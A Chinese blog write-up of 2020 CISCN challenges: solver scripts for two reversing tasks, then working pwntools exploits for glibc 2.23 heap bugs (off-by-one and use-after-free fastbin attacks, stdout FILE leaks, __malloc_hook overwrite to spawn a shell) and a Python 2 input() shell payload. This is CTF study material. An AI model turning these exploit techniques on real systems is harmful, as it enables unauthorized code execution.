2020ciscn 部分二进制WP(持续更新)

Reverse

0x0 z3

从名字来看,暗示了使用z3解决这道题。分析main函数可以看出是一个42元一次方程组。

最后在比较结果。

[脚本]:

from z3 import*

ans=[0x4f17,0x9cf6,0x8ddb,0x8ea6,0x6929,0x9911,0x40a2,0x2f3e,0x62b6,0x4b82,0x486c,0x4002,0x52d7,0x2def,0x28dc,0x640d,0x528f,0x613b,0x4781,0x6b17,0x3237,0x2a93,0x615f,0x50be,0x598e,0x4656,0x5b31,0x313a,0x3010,0x67fe,0x4d5f,0x58db,0x3799,0x60a0,0x2750,0x3759,0x8953,0x7122,0x81f9,0x5524,0x8971,0x3a1d]
x=[Int('x%d'%i)for i in range(42)]
f=Solver()

f.add(34 * x[3] + 12 * x[0] + 53 * x[1] + 6 * x[2] + 58 * x[4] + 36 * x[5] + x[6]==ans[0])
f.add(27 * x[4] + 73 * x[3] + 12 * x[2] + 83 * x[0] + 85 * x[1] + 96 * x[5] + 52 * x[6]==ans[1])
f.add(24 * x[2] + 78 * x[0] + 53 * x[1] + 36 * x[3] + 86 * x[4] + 25 * x[5] + 46 * x[6]==ans[2])
f.add(78 * x[1] + 39 * x[0] + 52 * x[2] + 9 * x[3] + 62 * x[4] + 37 * x[5] + 84 * x[6]==ans[3])
f.add(48 * x[4] + 14 * x[2] + 23 * x[0] + 6 * x[1] + 74 * x[3] + 12 * x[5] + 83 * x[6]==ans[4])
f.add(15 * x[5] + 48 * x[4] + 92 * x[2] + 85 * x[1] + 27 * x[0] + 42 * x[3] + 72 * x[6]==ans[5])
f.add(26 * x[5] + 67 * x[3] + 6 * x[1] + 4 * x[0] + 3 * x[2] + 68 * x[6]==ans[6])
f.add(34 * x[10] + 12 * x[7] + 53 * x[8] + 6 * x[9] + 58 * x[11] + 36 * x[12] + x[13]==ans[7])
f.add(27 * x[11] + 73 * x[10] + 12 * x[9] + 83 * x[7] + 85 * x[8] + 96 * x[12] + 52 * x[13]==ans[8])
f.add(24 * x[9] + 78 * x[7] + 53 * x[8] + 36 * x[10] + 86 * x[11] + 25 * x[12] + 46 * x[13]==ans[9])
f.add(78 * x[8] + 39 * x[7] + 52 * x[9] + 9 * x[10] + 62 * x[11] + 37 * x[12]+ 84 * x[13]==ans[10])
f.add(48 * x[11] + 14 * x[9] + 23 * x[7]+ 6 * x[8] + 74 * x[10] + 12 * x[12] + 83 * x[13]==ans[11])
f.add(15 * x[12] + 48 * x[11] + 92 * x[9]+ 85 * x[8] + 27 * x[7] + 42 * x[10] + 72 * x[13]==ans[12])
f.add(26 * x[12] + 67 * x[10] + 6 * x[8] + 4 * x[7] + 3 * x[9] + 68 * x[13]==ans[13])
f.add(34 * x[17] + 12 * x[14] + 53 * x[15] + 6 * x[16] + 58 * x[18] + 36 * x[19] + x[20]==ans[14])
f.add(27 * x[18] + 73 * x[17] + 12 * x[16] + 83 * x[14] + 85 * x[15]+ 96 * x[19] + 52 * x[20]==ans[15])
f.add(24 * x[16] + 78 * x[14] + 53 * x[15] + 36 * x[17] + 86 * x[18] + 25 * x[19] + 46 * x[20]==ans[16])
f.add(78 * x[15] + 39 * x[14] + 52 * x[16] + 9 * x[17] + 62 * x[18] + 37 * x[19] + 84 * x[20]==ans[17])
f.add(48 * x[18] + 14 * x[16] + 23 * x[14] + 6 * x[15] + 74 * x[17] + 12 * x[19] + 83 * x[20]==ans[18])
f.add(15 * x[19] + 48 * x[18] + 92 * x[16] + 85 * x[15] + 27 * x[14] + 42 * x[17] + 72 * x[20]==ans[19])
f.add(26 * x[19] + 67 * x[17] + 6 * x[15] + 4 * x[14] + 3 * x[16] + 68 * x[20]==ans[20])
f.add(34 * x[24] + 12 * x[21] + 53 * x[22] + 6 * x[23] + 58 * x[25] + 36 * x[26] + x[27]==ans[21])
f.add(27 * x[25] + 73 * x[24] + 12 * x[23] + 83 * x[21] + 85 * x[22]+ 96 * x[26]+ 52 * x[27]==ans[22])
f.add(24 * x[23] + 78 * x[21] + 53 * x[22] + 36 * x[24] + 86 * x[25] + 25 * x[26] + 46 * x[27]==ans[23])
f.add(78 * x[22] + 39 * x[21] + 52 * x[23] + 9 * x[24] + 62 * x[25] + 37 * x[26] + 84 * x[27]==ans[24])
f.add(48 * x[25] + 14 * x[23] + 23 * x[21] + 6 * x[22] + 74 * x[24] + 12 * x[26] + 83 * x[27]==ans[25])
f.add(15 * x[26] + 48 * x[25] + 92 * x[23] + 85 * x[22] + 27 * x[21] + 42 * x[24] + 72 * x[27]==ans[26])
f.add(26 * x[26] + 67 * x[24] + 6 * x[22] + 4 * x[21] + 3 * x[23]+ 68 * x[27]==ans[27])
f.add(34 * x[31] + 12 * x[28] + 53 * x[29] + 6 * x[30] + 58 * x[32] + 36 * x[33] + x[34]==ans[28])
f.add(27 * x[32] + 73 * x[31] + 12 * x[30] + 83 * x[28] + 85 * x[29] + 96 * x[33] + 52 * x[34]==ans[29])
f.add(24 * x[30] + 78 * x[28] + 53 * x[29] + 36 * x[31] + 86 * x[32] + 25 * x[33] + 46 * x[34]==ans[30])
f.add(78 * x[29] + 39 * x[28] + 52 * x[30] + 9 * x[31] + 62 * x[32] + 37 * x[33] + 84 * x[34]==ans[31] )
f.add(48 * x[32] + 14 * x[30] + 23 * x[28] + 6 * x[29] + 74 * x[31] + 12 * x[33] + 83 * x[34]==ans[32] )
f.add(15 * x[33] + 48 * x[32] + 92 * x[30] + 85 * x[29] + 27 * x[28] + 42 * x[31] + 72 * x[34]==ans[33])
f.add(26 * x[33] + 67 * x[31] + 6 * x[29] + 4 * x[28] + 3 * x[30] + 68 * x[34]==ans[34])
f.add(34 * x[38] + 12 * x[35] + 53 * x[36] + 6 * x[37] + 58 * x[39] + 36 * x[40] + x[41]==ans[35])
f.add(27 * x[39] + 73 * x[38] + 12 * x[37] + 83 * x[35] + 85 * x[36] + 96 * x[40] + 52 * x[41]==ans[36] )
f.add(24 * x[37] + 78 * x[35] + 53 * x[36] + 36 * x[38] + 86 * x[39] + 25 * x[40] + 46 * x[41]==ans[37] )
f.add(78 * x[36] + 39 * x[35] + 52 * x[37] + 9 * x[38] + 62 * x[39] + 37 * x[40] + 84 * x[41]==ans[38]  )
f.add(48 * x[39] + 14 * x[37] + 23 * x[35] + 6 * x[36] + 74 * x[38] + 12 * x[40] + 83 * x[41]==ans[39]  )
f.add(15 * x[40] + 48 * x[39] + 92 * x[37] + 85 * x[36] + 27 * x[35] + 42 * x[38] + 72 * x[41]==ans[40] )
f.add(26 * x[40] + 67 * x[38] + 6 * x[36] + 4 * x[35] + 3 * x[37] + 68 * x[41]==ans[41]                 )

if f.check()==sat:
    res=f.model()
    flag=[]
    for i in x:
        flag.append(chr(res[i].as_long()))
    print (''.join(flag))

0x1 hyperthreading

程序一开始创建三个线程,第一个线程为关键线程,会对输入的数据做变换;第二个线程会判断是否处于调试状态,如果处于调试状态就会破坏数据;第三个线程是检测是否处于调试环境中,如果处于调试环境就退出程序。

主要核心部分为:

00401171 | 8B4D FC                  | mov ecx,dword ptr ss:[ebp-4]            |
00401174 | 0FB691 6C334000          | movzx edx,byte ptr ds:[ecx+40336C]      | input
0040117B | C1FA 02                  | sar edx,2                               |
0040117E | 8B45 FC                  | mov eax,dword ptr ss:[ebp-4]            |
00401181 | 0FB688 6C334000          | movzx ecx,byte ptr ds:[eax+40336C]      | eax+40336C:"flag{asdasfasf2684284}"
00401188 | C1E1 06                  | shl ecx,6                               |
0040118B | 33D1                     | xor edx,ecx                             |
0040118D | 8B45 FC                  | mov eax,dword ptr ss:[ebp-4]            |
00401190 | 8890 6C334000            | mov byte ptr ds:[eax+40336C],dl         | eax+40336C:"flag{asdasfasf2684284}"
00401196 | 8B4D FC                  | mov ecx,dword ptr ss:[ebp-4]            |
00401199 | 0FB691 6C334000          | movzx edx,byte ptr ds:[ecx+40336C]      | ecx+40336C:"flag{asdasfasf2684284}"
004011A0 | 83F2 23                  | xor edx,23                              |
004011A3 | 8B45 FC                  | mov eax,dword ptr ss:[ebp-4]            |
004011A6 | 8890 6C334000            | mov byte ptr ds:[eax+40336C],dl         | eax+40336C:"flag{asdasfasf2684284}"
004011AC | 6A 06                    | push 6                                  |
004011AE | FF15 08204000            | call dword ptr ds:[<&Sleep>]            |
004011B4 | 64:8B1D 30000000         | mov ebx,dword ptr fs:[30]               |
004011BB | 0FB65B 02                | movzx ebx,byte ptr ds:[ebx+2]           |
...
004011D3    FFC0            inc eax                                  ; 4.004011D1
004011D5    48              dec eax                                  ; 4.004011D1
004011D6    8B4D FC         mov ecx,dword ptr ss:[ebp-0x4]
004011D9    0FB691 6C334000 movzx edx,byte ptr ds:[ecx+0x40336C]
004011E0    83C2 23         add edx,0x23
004011E3    8B45 FC         mov eax,dword ptr ss:[ebp-0x4]
004011E6    8890 6C334000   mov byte ptr ds:[eax+0x40336C],dl

翻译成伪代码就是

(((((input[i]>>2)^(input[i]<<6))&0xff)^0x23)+0x23)&0xff

[脚本]

import string
ans=[0xDD,0x5B,0x9E,0x1D,0x20,0x9E,0x90,0x91,0x90,0x90,0x91,0x92,0xDE,0x8B,0x11,0xD1,0x1E,0x9E,0x8B,0x51,0x11,0x50,0x51,0x8B,0x9E,0x5D,0x5D,0x11,0x8B,0x90,0x12,0x91,0x50,0x12,0xD2,0x91,0x92,0x1E,0x9E,0x90,0xD2,0x9F]
flag=''

for i in range(len(ans)):
    for c in string.printable:
        if (((((ord(c)>>2)^(ord(c)<<6))&0xff)^0x23)+0x23)&0xff==ans[i]:
            flag+=c
            break
print flag

PWN

0x0 easybox

[保护]:

[环境]:Ubuntu16.04 glibc2.23

[分析]:

程序仅有两个可用操作——增删,在增加操作中存在off-by-one,除此之外没发现别的漏洞。

所以大体上我考虑利用off-by-one构造overlap chunk进行fastbin attack。本程序没有输出操作,并且保护全开,所以只能利用IO_FILE来泄露内存和getshell。堆的布局如下:

chunk_1chunk_4chunk_7都是用来单字节溢出的,chunk_2将会被释放,然后通过部分修改利用fastbin attack有几率攻击到stdout泄露出libc内存,再用一次fastbin attack攻击stdout泄露heap地址,最后再用一次fastbin attack攻击stdout getshell

想法如此,但是操作起来非常复杂,做了一天才做出来,比赛都结束了,T^T。

[EXP]:

#!/usr/bin/env python
# coding=utf-8
from pwn import*

lib=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

def Add(idx,n,s):
    p.sendlineafter('>>>','1')
    p.sendlineafter('idx:',str(idx))
    p.sendlineafter('len:',str(n))
    p.sendafter('content:',s)

def Del(idx):
    p.sendlineafter('>>>','2')
    p.sendlineafter('idx:',str(idx))

while True:
	try:
		p=process('./pwn')

		Add(0,0x68,'\0'*0x10)
		Add(1,0x68,'a'*0x10)
		Add(2,0xf0,'a'*0x10)
		Add(3,0x68,'a'*0x10)
		Add(4,0x68,'a'*0x10)
		Add(5,0xf0,'a'*0x10)
		Add(6,0x68,'a'*0x10)
		Add(7,0x68,'a'*0x10)
		Add(8,0xf0,'a'*0x10)
		Add(9,0x68,'a'*0x10)
		Add(10,0x68,'a'*0x10)
		Add(11,0x68,'a'*0x10)
		Add(12,0x68,'a'*0x10)
		Add(13,0x68,'a'*0x10)

		Del(2)
		Add(2,0xf0,p64(0x71)+'\xdd\x25')

		Del(4)
		Add(4,0x68,'a'*0x68+'\x71')
		Del(5)

		Del(0)
		Del(1)
		Del(6)
		Add(5,0x160,'\0'*0xf8+p64(0x71)+'\xe8')

		#fastbin attack
		Add(6,0x68,'a'*0x68+'\x71')
		Add(1,0x68,'a'*0x68+'\x71')
		Add(0,0x68,'\0'*0x33+p32(0xfbad1880)+';sh;'+'a'*0x18+'\x88')

		#leak lib
		p.recvuntil('\n')
		leak=u64(p.recv(6).ljust(8,'\0'))
		success('leak:'+hex(leak))
		lib_base=leak-lib.sym['_IO_2_1_stdin_']
		success('lib_base:'+hex(lib_base))
		
		Del(4)
		Add(4,0x68,'a'*0x68+'\x71')
		Del(5)	
		Add(5,0x160,p64(0x71)+p64(lib_base+lib.sym['_IO_2_1_stdout_']-0x43))

		Del(4)
		Del(9)
		Del(7)
		Add(7,0x68,'\0'*0x68+'\x71')
		Del(8)
		Add(8,0x160,'\0'*0xf8+p64(0x71)+'\xc8')

		Add(4,0x68,'\n')
		Add(5,0x68,'\n')
		Add(0,0x68,'\0'*0x33+p32(0xfbad1880)+';sh;'+'a'*0x18+p64(0x3c4b20+lib_base))
		#leak heap
		p.recv(0x58)
		leak_heap=u64(p.recv(6).ljust(8,'\0'))
		success('leak_heap:'+hex(leak_heap))

		Add(0,0x20,'a'*0x10)
		Add(1,0x68,'a'*0x10)
		Add(2,0xf0,'a'*0x10)
		Add(3,0x68,'a'*0x10)
		Add(4,0x68,'a'*0x10)
		Add(5,0xf0,'a'*0x10)
		Add(6,0x68,'a'*0x10)
		Add(7,0x68,'a'*0x10)

		Del(2)
		Add(2,0xf0,p64(0x71)+p64(lib_base+lib.sym['_IO_2_1_stdout_']+173-0x10))
		Del(1)
		Del(6)

		Del(4)
		Add(4,0x68,'\0'*0x68+'\x71')
		Del(5)
		Add(5,0x160,'\0'*0xf8+p64(0x71)+'\x78')
		
		Add(5,0xf0,p64(0)*2+p64(lib_base+lib.sym['system'])*19)

		#fastbin attack and getshell
		Add(0,0x68,'\n')
		Add(0,0x68,'\n')
		
		Add(1,0x68,'\0'*(8*5+3)+p64(leak_heap+0x470))
		p.interactive()
		exit(0)
	except EOFError,e:
		p.close()

脚本写的有些乱,基本思想不变。


0x1 maj

[保护]:

[环境]:ubuntu16.04 glibc2.23

[分析]:

初看代码有点吓人,挺复杂的,但是稍微整理一下就会发现这些都是障眼法,那些if里面的运算全都不用管。程序可用的操作就三个——增删改,并且在删除操作中存在UAF,修改操作中可以对已经释放的chunk进行修改。

因此利用方式就是fastbin attack

[EXP]:

#!/usr/bin/env python
# coding=utf-8
from pwn import*

lib=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

#context.log_level=1
  
def Add(size,content):
    p.sendlineafter('>> ','1')
    p.sendlineafter('question','80')
    p.sendlineafter('______?',str(size))
    p.sendafter('start_the_game,yes_or_no?',content)

def Edit(idx,content):
    p.sendlineafter('>> ','4')
    p.sendlineafter('index ?',str(idx))
    p.sendafter('__new_content ?',content)

def Del(idx):
    p.sendlineafter('>> ','2')
    p.sendlineafter('index ?',str(idx))

while True:
	try:
		p=process('./pwn')
		Add(0x60,'a'*0x10)#0
		Add(0x60,'a'*0x10)#1
		Add(0x90,'a'*0x10)#2
		Add(0x60,'a'*0x10)#3

		Del(2)
		Edit(2,p64(0x71)+'\xdd\x25')

		Del(0)
		Del(1)
		Del(0)

		Edit(1,'\xe8')

		#fastbin attack
		Add(0x60,'a'*0x10)#4
		Add(0x60,'a'*0x10)#5
		Add(0x60,'a'*0x10)#6
		Add(0x68,'\0'*0x33+p32(0xfbad1880)+';sh;'+'a'*0x18+'\x88')#7
		Edit(7,'\0'*0x33+p32(0xfbad1880)+';sh;'+'a'*0x18+'\x88')

		#leak
		p.recvuntil('\n')
		leak=u64(p.recv(6).ljust(8,'\0'))
		success('leak:'+hex(leak))
		libc_base=leak-lib.sym['_IO_2_1_stdin_']
		success('libc_base:'+hex(libc_base))

		malloc_hook=libc_base+lib.sym['__malloc_hook']
		success('malloc_hook:'+hex(malloc_hook))

		Del(0)
		Del(1)
		Del(0)

		Edit(1,p64(malloc_hook-0x23))
		Add(0x60,'a'*0x10)#8
		Add(0x60,'a'*0x10)#9
		Add(0x60,'a'*0x13+p64(0xf1207+libc_base))#10
		Edit(10,'a'*0x13+p64(0xf1207+libc_base))

		#getshell
		p.sendlineafter('>> ','1')
		p.sendlineafter('question','80')
		p.sendlineafter('______?',str(1))

		p.interactive()
		exit(0)
	except EOFError,e:
		p.close()

0x2 babyjsc

[分析]:

服务端代码:

import sys
import tempfile
import os

size = int(input())
assert(size < 1024*1024) #1MB max
script = sys.stdin.read(size) # reads one byte at a time, similar to getchar()

temp = tempfile.mktemp()
with open(temp, "w") as f:
	f.write(script)

# os.environ['LD_PRELOAD'] = "./libJavaScriptCore.so.1"
cmd = "LD_PRELOAD=/home/ctf/libJavaScriptCore.so.1 /home/ctf/jsc " + temp
os.system(cmd)

这里涉及到我的知识盲区——python27存在input代码执行的漏洞,payload:import('os').system('sh')

python27 input代码执行

PS:未完结,待续。。。。。。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值